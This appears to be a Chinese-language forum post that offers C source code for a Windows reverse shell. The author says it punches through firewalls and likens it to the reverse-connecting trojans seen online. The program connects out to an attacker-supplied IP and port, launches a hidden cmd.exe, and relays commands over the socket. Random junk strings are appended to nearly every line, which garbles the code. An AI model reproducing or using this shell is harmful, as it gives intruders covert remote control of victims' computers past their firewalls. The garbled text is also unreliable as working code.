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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T8o](:B~  
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/* ============================== 6gV*G  
Rebound port in Windows NT #r'MfTr  
By wind,2006/7 ;qWu8\T+  
===============================*/ LiG$M{0  
#include a^R?w|zCX  
#include Bh3F4k2bg7  
}>@\I^Xm,  
#pragma comment(lib,"wsock32.lib") _Si=Jp][  
?})A-$f ~  
void OutputShell(); i>Q!5  
SOCKET sClient; !D??Y^6bI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Nz dN4+  
O4R\] B#Xu  
void main(int argc,char **argv) /hl'T'RG  
{ wMW<lT=;  
WSADATA stWsaData; dQ`Tt- n  
int nRet; =:]ps<Qx  
SOCKADDR_IN stSaiClient,stSaiServer; h&>3;Lj  
cb}zCl j o  
if(argc != 3) *[[Gu^t^!  
{ d0(zB5'}  
printf("Useage:\n\rRebound DestIP DestPort\n"); E4 X6f  
return; y:;.r:  
} 9;@p2t*v  
%O \@rws  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^&>B,;Wu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mLhM_=  
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stSaiClient.sin_family = AF_INET; t8^1wA@@V  
stSaiClient.sin_port = htons(0); (4YLUN&1O$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |+nmOi,z  
N"70P/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F 3|^b{'zO  
{ 4aXIRu%#7  
printf("Bind Socket Failed!\n"); 1/}H 0\9'  
return; =-U0r$sK+F  
} sO .MUj;  
'UlVc2%{  
stSaiServer.sin_family = AF_INET;  &K/?#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i7Qb~RW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KQ\K :#  
.#( vx;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q-<]'E#\(  
{ 6 5g ovor  
printf("Connect Error!"); %f]#P8V P  
return; y[_k/.1  
} (]]hSkE  
OutputShell(); '(vZfzc{J  
} oIhKMQ;jh  
K\K& K~Z  
void OutputShell() 2K}49*  
{ xC`!uPk/pL  
char szBuff[1024]; 2k.VTGak  
SECURITY_ATTRIBUTES stSecurityAttributes; X*2W4udF  
OSVERSIONINFO stOsversionInfo; cH5i420;aO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f[o~d`z  
STARTUPINFO stStartupInfo; ',EI[ ]+  
char *szShell; %Ig$:I(o  
PROCESS_INFORMATION stProcessInformation; ]oGd,v X  
unsigned long lBytesRead; $TIeeTB  
v=llg ^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @v)Z>xv  
Gx C+lqH#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [^hW>O=@TN  
stSecurityAttributes.lpSecurityDescriptor = 0; xM jn=\}  
stSecurityAttributes.bInheritHandle = TRUE; !ho^:}m  
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bmG`:_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z CLaHx!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  t`o"K  
$_.t'8F  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5Tl5T&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b| L;*<KU  
stStartupInfo.wShowWindow = SW_HIDE; a'VQegP(f\  
stStartupInfo.hStdInput = hReadPipe; :kgh~mx5LF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F6\{gQ<E  
d( v"{N}  
GetVersionEx(&stOsversionInfo); SXL3>-Z E  
{$frR "K  
switch(stOsversionInfo.dwPlatformId) '@{:Fr G*U  
{ io#}z4"'qY  
case 1: KIF9[/P  
szShell = "command.com"; x9l7|G/$  
break; tYjG8P#  
default: }_+XN"}C  
szShell = "cmd.exe"; !*#9b  
break; ^'X I%fEf  
} MLDzWZ~}ef  
=KPmZ,/w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B!RfPk1B<*  
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send(sClient,szMsg,77,0); U^PXpNQ'  
while(1) 3%POTAw%  
{ 07LyB\l~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~5HkDtI)  
if(lBytesRead) -@N-i$!;J  
{ L)'G_)Sl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <pX?x3-'  
send(sClient,szBuff,lBytesRead,0); 7By7F:[b  
} ? |M-0{  
else v-8>@s jy8  
{ OUulG16kK  
lBytesRead=recv(sClient,szBuff,1024,0); un "I  
if(lBytesRead<=0) break; LK'(OZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H{}&|;0  
} E*'YxI  
}  Zmu  
B}"R@;N  
return; Jm4uj &}3  
}
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